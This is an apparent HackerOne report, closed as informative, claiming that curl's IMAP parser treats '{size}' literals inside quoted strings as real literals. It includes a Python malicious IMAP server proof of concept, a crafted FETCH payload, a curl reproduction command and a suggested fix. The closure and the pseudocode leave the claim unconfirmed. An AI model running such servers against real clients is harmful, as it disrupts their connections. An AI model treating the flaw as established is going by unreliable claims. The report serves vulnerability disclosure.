IMAP Protocol Desynchronization and Response Smuggling via Naive Literal Parsing
Low
Vulnerability Details
`libcurl` incorrectly parses IMAP literals (`{size}`) even when they are embedded within quoted strings (e.g., email subjects or headers). This behavior violates **RFC 3501**, which mandates that content inside double quotes must be treated as opaque text.
This parsing error causes the client state machine to desynchronize from the server. An attacker controlling an IMAP server (or injecting data via a Man-in-the-Middle attack) can exploit this to force curl to interpret protocol commands as message body data, or conversely, interpret message body data as protocol commands.
### **Vulnerability Details**
#### **Root Cause**
The vulnerability exists in `lib/imap.c`, specifically within the function handling `imap_state_fetch_resp`.
The parser scans for the start of a literal using a naive memory search that does not respect quoted string boundaries:
```c
/* Pseudocode representation of the flaw */
ptr = memchr(line, '{', len);
if(ptr) {
/* Logic proceeds to parse number inside {} without checking if inside quotes */
}
```
#### **RFC Violation**
According to **RFC 3501 Section 4.3 (String)**:
> A string is in one of two forms: literal and quoted string.
> A quoted string is a sequence of zero or more 7-bit characters, excluding CR and LF, with double quote (<">) characters at each end.
If a `{` character appears inside a quoted string, it is content data, not a protocol delimiter. curl fails to respect this distinction.
### **Attack Scenario**
1. **Setup:** A user connects to a malicious or compromised IMAP server using curl.
2. **Trigger:** The server sends a FETCH response containing a header with a crafted literal pattern inside quotes:
`* 1 FETCH (BODY[HEADER] "Subject: {50} Injection")`
3. **Desynchronization:**
* **Correct Client:** Sees a subject string containing `{50}`.
* **curl:** Sees a literal marker `{50}`. It immediately switches to "binary read" mode, expecting 50 bytes of raw data.
4. **Exploit:** The server sends the next IMAP tag (e.g., `A001 OK FETCH COMPLETE`).
5. **Result:** curl consumes the status response as part of the "50 bytes of data" and hangs or processes subsequent lines incorrectly ("Response Smuggling").
### **Proof of Concept**
I have provided a Python script that simulates a malicious IMAP server. It handles the initial LOGIN handshake to ensure the client reaches the vulnerable FETCH state.
**1. `malicious_server.py**`
```python
import socket
HOST = '127.0.0.1'
PORT = 1433
def start_server():
print(f"[*] Malicious IMAP server listening on {PORT}")
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((HOST, PORT))
s.listen()
conn, addr = s.accept()
with conn:
print(f"[*] Connection from {addr}")
# Send initial greeting
conn.sendall(b"* OK IMAP4rev1 Ready\r\n")
while True:
data = conn.recv(1024)
if not data:
break
line = data.decode(errors="ignore").strip()
print(f"[Client] {line}")
parts = line.split()
if not parts: continue
tag = parts[0]
# LOGIN command handler
if "LOGIN" in line.upper():
conn.sendall(f"{tag} OK Login completed\r\n".encode())
# TRIGGER: When FETCH is requested
elif "FETCH" in line.upper():
print("[*] Sending malicious payload...")
# We inject {50} inside quotes.
# curl will think 50 bytes of data are coming.
payload = b'* 1 FETCH (BODY[HEADER] "Subject: {50} Fake Literal")\r\n'
conn.sendall(payload)
# This OK response will be SWALLOWED by curl as body data
conn.sendall(f"{tag} OK Fetch completed\r\n".encode())
print("[*] Payload sent. Closing connection.")
return
else:
conn.sendall(f"{tag} OK {parts[1]} completed\r\n".encode())
if __name__ == "__main__":
start_server()
```
**2. Steps to Reproduce**
1. Run the server: `python3 malicious_server.py`
2. Run curl in a separate terminal:
```bash
curl -v "imap://127.0.0.1:1433/INBOX;UID=1" -u user:pass -X "FETCH 1 BODY[]"
```
**3. Observed Output (curl -v)**
```text
< * 1 FETCH (BODY[HEADER] "Subject: {50} Fake Literal")
* Found 50 bytes to download <-- BUG: curl parses {50} inside quotes as a literal size
* 50 bytes of data are read...
* (curl hangs or swallows the subsequent OK response)
```
### **Recommended Fix**
Modify the scanning logic in `lib/imap.c`. The parser must be state-aware:
1. Iterate through the response line character by character.
2. Toggle a boolean flag `in_quote` when encountering unescaped `"` characters.
3. Only evaluate `{` as a literal start indicator if `in_quote` is FALSE.
## Impact
### **Impact**
* **Protocol Confusion:** The client state desynchronizes from the server state.
* **Response Smuggling:** A malicious server can cause the client to skip validation of status codes (e.g., hiding a `NO` or `BAD` response by making curl consume it as "literal data").
* **Data Injection:** In a pipelined context, this could lead to cache poisoning or processing incorrect message content.
Actions
View on HackerOneReport Stats
- Report ID: 3509396
- State: Closed
- Substate: informative
- Upvotes: 12